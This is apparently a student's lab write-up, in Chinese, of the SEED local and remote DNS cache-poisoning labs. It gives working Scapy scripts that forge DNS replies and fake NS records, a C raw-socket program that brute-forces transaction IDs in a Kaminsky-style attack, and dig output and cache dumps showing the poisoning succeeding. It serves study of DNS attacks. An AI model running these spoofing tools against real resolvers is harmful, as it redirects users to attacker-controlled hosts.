本地

环境测试

local-dns-server(10.9.0.53)：`cat /etc/bind/named.conf`，得到attacker32.com会被映射到的IP为10.9.0.153(attacker-ns)

```
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

zone "attacker32.com" {
    type forward;
    forwarders {
        10.9.0.153;
    };
};
```

user(10.9.0.5)：`dig ns.attacker32.com`，得到配置文件中对应的IP结果

```
# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56758
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 41f6725d49dd436501000000638edeec1f392ce8fc617642 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153
```

查询www.example.com的IP：

1. `dig www.example.com`：local-dns-server做出响应，没有查询到IP。但它会将请求发送到对应的官方nameserver

```
# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 65285
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: ee07a44ff279d8da01000000638ee0b169cca360306badc2 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; Query time: 1487 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Dec 06 06:26:57 UTC 2022
;; MSG SIZE  rcvd: 72
```

2. `dig @ns.attacker32.com www.example.com`：attacker-ns做出响应，返回该域名对应的虚假IP为`1.2.3.5`。

```
# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6786
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 13b0add95bbba7dc01000000638ee127c85f334b670bdaab (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Tue Dec 06 06:28:55 UTC 2022
;; MSG SIZE  rcvd: 88
```

Task1 构造DNS响应包

清除local-dns-server上的缓存：

```
rndc dumpdb -cache  # 保存到文件 /var/cache/bind/dump.db
rndc flush          # 清空
```

在seed-attacker创建攻击代码spoof_user.py，构造DNS响应包，只能攻击用户

```
def spoof_user(pkt):

```

```
    if (DNS in pkt and 'example.com' in
pkt[DNS].qd.qname.decode('utf-8')):# 判断是否为查询example.com的DNS请求
        ip  = IP  (dst = pkt[IP].src, src = pkt[IP].dst)
        udp = UDP (dport = pkt[UDP].sport, sport = 53)
        # 构造ANSWER SECTION
        Anssec = DNSRR( rrname = pkt[DNS].qd.qname,
                        type   = 'A',
                        rdata  = '1.2.3.1',
                        ttl    = 259200)
        # DNS报文字段解析参照：
        # https://blog.51cto.com/yyxianren/5721157
        dns = DNS( id = pkt[DNS].id, aa=1, rd=0, qr=1,
                   qdcount=1, qd = pkt[DNS].qd,
                   ancount=1, an = Anssec)
        spoofpkt = ip/udp/dns
        send(spoofpkt)
# 监听是否有主机向local-dns-server发起dns请求
f = 'udp and (dst host 10.9.0.53 and dst port 53)'
pkt=sniff(iface='br-c0f5a7acfbe9', filter=f, prn=spoof_user)
```

user使用`dig www.example.com`得到构造的IP 1.2.3.1：

```
# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48524
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.1

;; Query time: 16 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Dec 06 08:37:18 UTC 2022
;; MSG SIZE  rcvd: 64
```

Task2 DNS投毒

清除local-dns-server的dns缓存，构造攻击代码spoof_ns.py，当DNS服务器向上层发起请求时，进行伪装应答。

```python
def spoof_dns(pkt):
    if (DNS in pkt and 'example.com' in
pkt[DNS].qd.qname.decode('utf-8')):# 判断是否为查询example.com的DNS请求
        ip  = IP  (dst = pkt[IP].src, src = pkt[IP].dst)
        udp = UDP (dport = pkt[UDP].sport, sport = 53)
        # 构造ANSWER SECTION
        Anssec = DNSRR( rrname = pkt[DNS].qd.qname,
                        type   = 'A',
                        rdata  = '1.2.3.2',
                        ttl    = 259200)
        dns = DNS( id = pkt[DNS].id, aa=1, rd=0, qr=1,
                   qdcount=1, qd = pkt[DNS].qd,
                   ancount=1, an = Anssec)
        spoofpkt = ip/udp/dns
        send(spoofpkt)
# 监听local-dns-server向上级dns服务器发起的请求包
f = 'udp and (src host 10.9.0.53 and dst port 53)'
pkt=sniff(iface='br-c0f5a7acfbe9', filter=f, prn=spoof_dns)
```

user使用`dig www.example.com`得到构造的IP 1.2.3.2：

```
# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51466
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 5fa87ea160f3a87d01000000638f00301282cba71051e052 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.2

;; Query time: 752 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Dec 06 08:41:20 UTC 2022
;; MSG SIZE  rcvd: 88
```

停止spoof_ns.py攻击代码，user再次发起请求，结果还是1.2.3.2，说明local-dns-server的缓存区已经被污染。将缓存保存到文件`rndc dumpdb -cache`，查看文件`cat /var/cache/bind/dump.db`可以看到该域名对应的虚假IP 1.2.3.2已经被存储到缓存文件了。

```
; authanswer
_.example.com.          863898  A       1.2.3.2
; authanswer
www.example.com.        863898  A       1.2.3.2
```

Task3 构造虚假权威服务器

清除local-dns-server的dns缓存，构造攻击代码spoof_auth.py，当DNS服务器向上层发起请求时，进行伪装应答，同时返回虚假的权威服务器ns.attacker32.com。与Task2相比，添加了权威服务器的部分内容：

```
# 构造nameserver服务器相关信息
NSsec  = DNSRR( rrname = 'example.com',
                type   = 'NS',
                rdata  = 'ns.attacker32.com',
                ttl    = 259200)
dns = DNS( id = pkt[DNS].id, aa=1, rd=0, qr=1,
           qdcount=1, qd = pkt[DNS].qd,
           ancount=1, an = Anssec,
           nscount=1, ns = NSsec)
```

返回的ANSWER SECTION与构造的Anssec无关，而是ns.attacker32.com攻击dns服务器上的结果：1.2.3.5

```
# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63859
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 70c0f257d5255c2c01000000638f060d05ce6a737e41bf83 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 800 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Dec 06 09:06:21 UTC 2022
;; MSG SIZE  rcvd: 88
```

在ns.attacker32.com攻击dns服务器上查看域名example.comd的处理机制`cat /etc/bind/zone_example.com`：

```
@       IN      A     1.2.3.4
www     IN      A     1.2.3.5
ns      IN      A     10.9.0.153
*       IN      A     1.2.3.6    # 除上述之外其他情况
```

user随意拼接一个example.com的子域名进行查询：sean.example.com，得到配置文件中的1.2.3.6

```
# dig sean.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> sean.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44814
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 47ffa25aeb5edc1d01000000638f06dbc1b8bb3d67737196 (good)
;; QUESTION SECTION:
;sean.example.com.              IN      A

;; ANSWER SECTION:
sean.example.com.       259200  IN      A       1.2.3.6

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Dec 06 09:09:47 UTC 2022
;; MSG SIZE  rcvd: 89
```

Task4 添加其他域名的权威服务器

清除dns缓存，攻击代码spoof_auth1.py相较于Task3，再增加一栏NS

```
NSsec  = DNSRR( rrname = 'example.com',
                type   = 'NS',
                rdata  = 'ns.attacker32.com',
                ttl    = 259200)
NSsec1 = DNSRR( rrname = 'google.com',
                type   = 'NS',
                rdata  = 'ns.attacker32.com',
                ttl    = 259200)
dns = DNS( id = pkt[DNS].id, aa=1, rd=0, qr=1,
            qdcount=1, qd = pkt[DNS].qd,
            ancount=1, an = Anssec,
            nscount=2, ns = NSsec1/NSsec)
```

user查询www.example.com结果为Anssec中构造的IP 1.2.3.4

```
# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62244
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: b49d3941206b4f8b01000000638f0b2ea273e96518f56f98 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4
```

查看dns缓存，google.com域名的权威服务器被改为攻击dns服务器了，即**DNS**欺骗包只保留了第一条**NSsec**：

```
; authanswer
_.example.com.          863875  A       1.2.3.4
; authanswer
www.example.com.        863875  A       1.2.3.4
; authauthority
google.com.             863875  NS      ns.attacker32.com.
```

修改ns.attacker32.com中的named.conf，加入

```
zone "google.com" {
        type master;
        file "/etc/bind/zone_google.com";
};
```

复制zone_example.com为zone_google.com(主要是参考他的格式)，添加一行以便查看：

```
sean    IN  A   6.6.6.6
```

ns.attacker32.com重启**DNS**服务：

```
service named restart
```

user查询sean.google.com得到6.6.6.6：

```
# dig sean.google.com

; <<>> DiG 9.16.1-Ubuntu <<>> sean.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15636
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a25e3307a864729b01000000638f144f3937c4df9d3b47f1 (good)
;; QUESTION SECTION:
;sean.google.com.               IN      A

;; ANSWER SECTION:
sean.google.com.        259200  IN      A       6.6.6.6

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Dec 06 10:07:11 UTC 2022
;; MSG SIZE  rcvd: 88
```

Task5 Additional Section

清除缓存，构造攻击代码spoof_add.py，在Task4的基础上添加对Additional Section的构造：

```
Addsec = DNSRR(rrname = 'ns.attacker32.com',
               type = 'A',
               rdata = '1.2.3.51',
               ttl = 259200)
```

```
Addsec1 = DNSRR(rrname = 'ns.example.com',
                type = 'A',
                rdata = '10.9.0.153',
                ttl = 259200)
Addsec2 = DNSRR(rrname = 'xz.google.com',
                type = 'A',
                rdata = '1.2.3.52',
                ttl = 259200)
Addsec3 = DNSRR(rrname = 'testdns.com',
                type = 'A',
                rdata = '1.2.3.53',
                ttl = 259200)
dns = DNS( id = pkt[DNS].id, aa=1, rd=0, qr=1,
            qdcount=1, qd = pkt[DNS].qd,
            ancount=1, an = Anssec,
            nscount=2, ns = NSsec1/NSsec,
            arcount=4, ar = Addsec/Addsec1/Addsec2/Addsec3)
```

添加了多种类型的域名，最终Additional Section中没有缓存成功的。不知道为什么。

远程

环境测试

首先删除与该环境可能发生冲突的、之前的环境遗留下来的问题。

- docker network rm ID：删除10.9.0.0那个子网，通过docker network ls可以查看网卡ID
- docker rm ID：删除attacker-ns那个容器(10.9.0.153)，通过docker ps -a可以查看容器ID

查询ns.attacker32.com的IP，user执行`dig ns.attacker32.com`，得到的IP就是local dns中的配置结果。

```
# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6460
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 4c6c5ef1aa4dfac7010000006393f8a692bfe4d2989b08e2 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Dec 10 03:10:30 UTC 2022
;; MSG SIZE  rcvd: 90
```

查询www.example.com的IP

1. user执行`dig www.example.com`，没有Answer

   ```
   # dig www.example.com

   ; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
   ;; global options: +cmd
   ;; Got answer:
   ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 9313
   ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

   ;; OPT PSEUDOSECTION:
   ; EDNS: version: 0, flags:; udp: 4096
   ; COOKIE: 7615353b7d7ffffb010000006393faca86140a360ce3f9e9 (good)
   ;; QUESTION SECTION:
   ;www.example.com.               IN      A

   ;; Query time: 156 msec
   ;; SERVER: 10.9.0.53#53(10.9.0.53)
   ;; WHEN: Sat Dec 10 03:19:38 UTC 2022
   ;; MSG SIZE  rcvd: 72
   ```

2. user执行`dig @ns.attacker32.com www.example.com`，得到attacker dsn中配置的IP地址

```
# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12902
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: da756951e35d46a5010000006393fb15ad18a30599a3111b (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Sat Dec 10 03:20:53 UTC 2022
;; MSG SIZE  rcvd: 88
```

Lab2 构造DNS请求

当这个请求发送时，local dns会发起迭代查询

```
# 目的IP为local dns，源IP为任意IP，若该dns不对局域网外的请求做出回应，则将源IP改为与DNS服务器同一局域网的IP
ip  = IP (dst='10.9.0.53', src='10.9.0.5')
udp = UDP(dport=53, sport=50945, chksum=0)
# aaaaa为5个字节的占位符，在C代码中会进行随机化修改
Qdsec = DNSQR(qname='aaaaa.example.com')
# 这个ID在实际场景中是个变量
dns   = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
pkt = ip/udp/dns
# 写为二进制文件，C代码中使用
with open('ip_req.bin', 'wb') as f:
    f.write(bytes(pkt))
```

Lab3 DNS欺骗relpy

local dns清除缓存`rndc`，开启wireshark，user执行`dig www.example.com`，查看抓包结果：

1. 向.com顶级域名的权威服务器查询example.com的权威服务器。

2. 从返回结果中选择一个，将其IP作为DNS欺骗包的源IP

```
10.9.0.53       192.33.14.30    DNS     96 Standard query 0x09d4 A _.example.com OPT
10.9.0.53       192.48.79.30    DNS     96 Standard query 0x62f3 A _.example.com OPT
10.9.0.53       192.35.51.30    DNS     96 Standard query 0xd5fa A _.example.com OPT
10.9.0.53       192.41.162.30   DNS     96 Standard query 0xb2b4 A _.example.com OPT
10.9.0.53       192.5.6.30      DNS     96 Standard query 0xb088 A _.example.com OPT
10.9.0.53       192.12.94.30    DNS     96 Standard query 0x4ed0 A _.example.com OPT
```

```
# 源IP为通过dig寻找到的一个真实的nameserver地址
ip  = IP (dst = '10.9.0.53', src = '192.5.6.30')
udp = UDP(dport = 33333, sport = 53,  chksum=0)
# QuestionSection aaaaa为占位符
Qdsec  = DNSQR(qname  = "aaaaa.example.com")
# AnswerSection aaaaa为占位符，rdata任意值
Anssec = DNSRR(rrname = "aaaaa.example.com",
               type   = 'A',
               rdata  = '1.1.1.1',
               ttl    = 259200)
# AuthoritySection rrname为查询的域名 rdata为该域名对应的DNS权威服务器，设为attacker ns
NSsec  = DNSRR(rrname = 'example.com',
               type   = 'NS',
               rdata  = 'ns.attacker32.com',
               ttl    = 259200)
# 0xAAAA为4字节的占位符，表示DNS的ID，在C代码中会进行递增修改
dns    = DNS(id  = 0xAAAA, aa=1, rd=1, qr=1,
             qdcount = 1, qd = Qdsec,
             ancount = 1, an = Anssec,
             nscount = 1, ns = NSsec)
# 写为二进制文件，C代码中使用
Replypkt = ip/udp/dns
with open('ip_resp.bin', 'wb') as f:
    f.write(bytes(Replypkt))
```

此段代码是攻击者假装是.example.com的权威服务器向local dns进行回应，如果响应的ID恰好等于DNS请求的ID，则local dns会将响应包中AuthoritySection中的权威服务器缓存到本地。

Lab4 构造攻击C代码

原理：随机对一个example.com的子域名(如aaaaa.example.com)发起DNS请求，然后攻击者针对此域名查询发送DNS响应包，根据报文结构可知ID在2字节的范围内(0~65535)递增，可能的结果：

- 命中ID的欺骗包在真的响应包之前到达，local dns缓存attacker ns作为example.com的权威服务器
- 否则，local dns先收到真的响应包，由于大概率没有这个随即构造的子域名，local dns并不会缓存权威服务器的信息，重新生成子域名即可继续攻击。

读取二进制文件：

```
# DNS请求包
FILE * f_req = fopen("ip_req.bin", "rb");
unsigned char ip_req[MAX_FILE_SIZE];
# 第二个参数表示一次读取一个字节，返回读取的字节数
int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);
# DNS响应包
FILE * f_resp = fopen("ip_resp.bin", "rb");
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
```

攻击流程：

```
char a[26]="abcdefghijklmnopqrstuvwxyz";
char name[6];
while (1) {
    memset(name,0,5);
    // 随机生成5字节，用来修改之前aaaaa占位符
    for (int k=0; k<5; k++)  name[k] = a[rand() % 26];
    // 发送DNS请求包
    send_dns_request(ip_req,n_req,name);
    printf("request for %s.example.com\n",name);
    // 发送DNS响应包，每次的id加1
    for(unsigned int i=0;i<65536;i++){
        send_dns_response(ip_resp,n_resp,name,i);
    }
}
```

发送DNS请求包：

```
void send_dns_request(unsigned char * buffer,int pkt_size,char *
name){
    // 将请求中的aaaaa改为本次攻击的随机生成的子域名
    memcpy(buffer+41,(unsigned char*)name,5);
    send_raw_packet(buffer,pkt_size);
}
```

发送DNS响应包：

```
void send_dns_response(unsigned char * buffer,int pkt_size,char *
name,unsigned int id)
{
    unsigned short tmp[2]={0};
    *tmp=htons(id);
    // 修改id
    memcpy(buffer+28,(void*)tmp,2);
    // 修改Qdsec中的aaaaa
    memcpy(buffer+41,(unsigned char*)name,5);
    // 修改Anssec中的aaaaa
    memcpy(buffer+64,(unsigned char*)name,5);
    send_raw_packet(buffer,pkt_size);
}
```

通过原始套接字将构造好的包发送出去：

```
void send_raw_packet(char * buffer, int pkt_size)
{
  struct sockaddr_in dest_info;
  int enable = 1;
  // 创建原始套接字
  int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
         &enable, sizeof(enable));
  // 获取目的IP对应的sockaddr_in结构体
  struct ipheader *ip = (struct ipheader *) buffer;
  dest_info.sin_family = AF_INET;
  dest_info.sin_addr = ip->iph_destip;
  // 发送包
  sendto(sock, buffer, pkt_size, 0,
       (struct sockaddr *)&dest_info, sizeof(dest_info));
  close(sock);
```

```
}
```

Task5 攻击效果

1. local dns清除缓存：`rndc flush`
2. 发起攻击：`gcc attacke.c`，`sudo ./a.out`

```
[12/10/22]seed@VM:~/.../DNS_Remote_Files$ gcc attack.c
[12/10/22]seed@VM:~/.../DNS_Remote_Files$ sudo ./a.out
request for jrtww.example.com
request for opemz.example.com
```

3. 在local dns中查看缓存结果：`rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db`，当有attacker dns的缓存后停止攻击

```
# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
attacker32.com.         777530  NS      ns13.domaincontrol.com.
ns.attacker32.com.      605332  \-ANY   ;-$NXDOMAIN
; attacker32.com. SOA ns13.domaincontrol.com. dns.jomax.net. 2020062300 28800 72
00 604800 600
example.com.            863928  NS      ns.attacker32.com.
; ns.attacker32.com [v4 TTL 531] [v6 TTL 531] [v4 nxdomain] [v6 nxdomain]
#
```

4. user执行`dig www.example.com`，local dns返回的结果为attacker ns中配置的1.2.3.5，因为local dns在看到example.com时会直接向缓存中attacker dns询问。

```
# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38770
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 0bbccbcd78f0b1e90100000063949cd674e1cf925ad8632d (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Dec 10 14:51:02 UTC 2022
;; MSG SIZE  rcvd: 88
```

5. user执行`dig @ns.attacker32.com www.example.com`，attacker dns返回1,2,3,5

```
# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61260
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a391ff100e8d57a30100000063949d61f21df978026a0da2 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Sat Dec 10 14:53:21 UTC 2022
;; MSG SIZE  rcvd: 88
```